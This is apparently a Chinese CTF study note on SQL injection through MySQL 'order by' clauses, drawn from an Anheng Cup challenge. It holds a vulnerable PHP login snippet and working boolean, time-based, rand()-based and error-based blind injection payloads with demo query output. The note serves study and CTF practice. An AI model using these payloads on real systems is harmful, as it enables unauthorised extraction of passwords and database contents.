在安恒杯看到了利用order by进行盲注,记得自己之前好像总结过order by后的注入方法,翻笔记发现确实是有一篇标题为order by注入的笔记,然而里面什么都没写。看了下详细信息,发现是17年8月11号创建的。真的是拖延症拖到忘记啊。
order by是mysql中对查询数据进行排序的方法, 使用示例
select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
select * from 表名 order by 列名(或者数字) desc;降序
这里的重点在于order by后既可以填列名或者是一个数字。举个例子: id是user表的第一列的列名,那么如果想根据id来排序,有两种写法:
select * from user order by id;
selecr * from user order by 1;
这个是在安恒杯月赛上看到的。 后台关键代码
$sql = 'select * from admin where username='".$username."'';
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if(isset($row)&&row['username']!="admin"){
$hit="username error!";
}else{
if ($row['password'] === $password){
$hit="";
}else{
$hit="password error!";
}
}
payload
username=admin' union 1,2,'字符串' order by 3
sql语句就变为
select * from admin where username='admin' or 1 union select 1,2,binary '字符串' order by 3;
这里就会对第三列进行比较,即将字符串和密码进行比较。然后就可以根据页面返回的不同情况进行盲注。 注意的是最好加上binary,因为order by比较的时候不区分大小写。
示例
mysql> select * from order1;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | uP10AcB |
+------+----------+----------+
mysql> select * from order1 where username='' or 1 union select 1,2,'v' order by 3;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | uP10AcB |
| 1 | 2 | v |
+------+----------+----------+
mysql> select * from order1 where username='' or 1 union select 1,2,'a' order by 3;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | 2 | a |
| 1 | admin | uP10AcB |
+------+----------+----------+
mysql> select * from order1 where username='' or 1 union select 1,2,'u' order by 3;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | 2 | u |
| 1 | admin | uP10AcB |
+------+----------+----------+
这里的order by 3是根据第三列进行排序,如果我们union查询的字符串比password小的话,我们构造的 1,2,a就会成为第一列,那么在源码对用户名做对比的时候,就会返回username error!,如果union查询的字符串比password大,那么正确的数据就会是第一列,那么页面就会返回password error!.
需要知道列名
order by的列不同,返回的页面当然也是不同的,所以就可以根据排序的列不同来盲注。
示例:
order by if(1=1,id,username);
这里如果使用数字代替列名是不行的,因为if语句返回的是字符类型,不是整型。
不需要知道列名
payload
order by if(表达式,1,(select id from information_schema.tables))
如果表达式为false时,sql语句会报ERROR 1242 (21000): Subquery returns more than 1 row的错误,导致查询内容为空,如果表达式为true是,则会返回正常的页面。
payload
order by if(1=1,1,sleep(1))
测试结果
select * from ha order by if(1=1,1,sleep(1)); #正常时间
select * from ha order by if(1=2,1,sleep(1)); #有延迟
测试的时候发现延迟的时间并不是sleep(1)中的1秒,而是大于1秒。 最后发现延迟的时间和所查询的数据的条数是成倍数关系的。 计算公式:
延迟时间=sleep(1)的秒数*所查询数据条数
我所测试的ha表中有五条数据,所以延迟了5秒。如果查询的数据很多时,延迟的时间就会很长了。 在写脚本时,可以添加timeout这一参数来避免延迟时间过长这一情况。
原理不赘述了,直接看测试结果
mysql> select * from ha order by rand(true);
+----+------+
| id | name |
+----+------+
| 9 | NULL |
| 6 | NULL |
| 5 | NULL |
| 1 | dss |
| 0 | dasd |
+----+------+
mysql> select * from ha order by rand(false);
+----+------+
| id | name |
+----+------+
| 1 | dss |
| 6 | NULL |
| 0 | dasd |
| 5 | NULL |
| 9 | NULL |
+----+------+
可以看到当rang()为true和false时,排序结果是不同的,所以就可以使用rang()函数进行盲注了。 例
order by rand(ascii(mid((select database()),1,1))>96)
在网上还看到了order by后的报错注入。 原文链接
select * from ha order by updatexml(1,if(1=1,1,user()),1);#查询正常
select * from ha order by updatexml(1,if(1=2,1,user()),1);#查询报错
select * from ha order by extractvalue(1,if(1=1,1,user()));#查询正常
select * from ha order by extractvalue(1,if(1=2,1,user()));#查询报错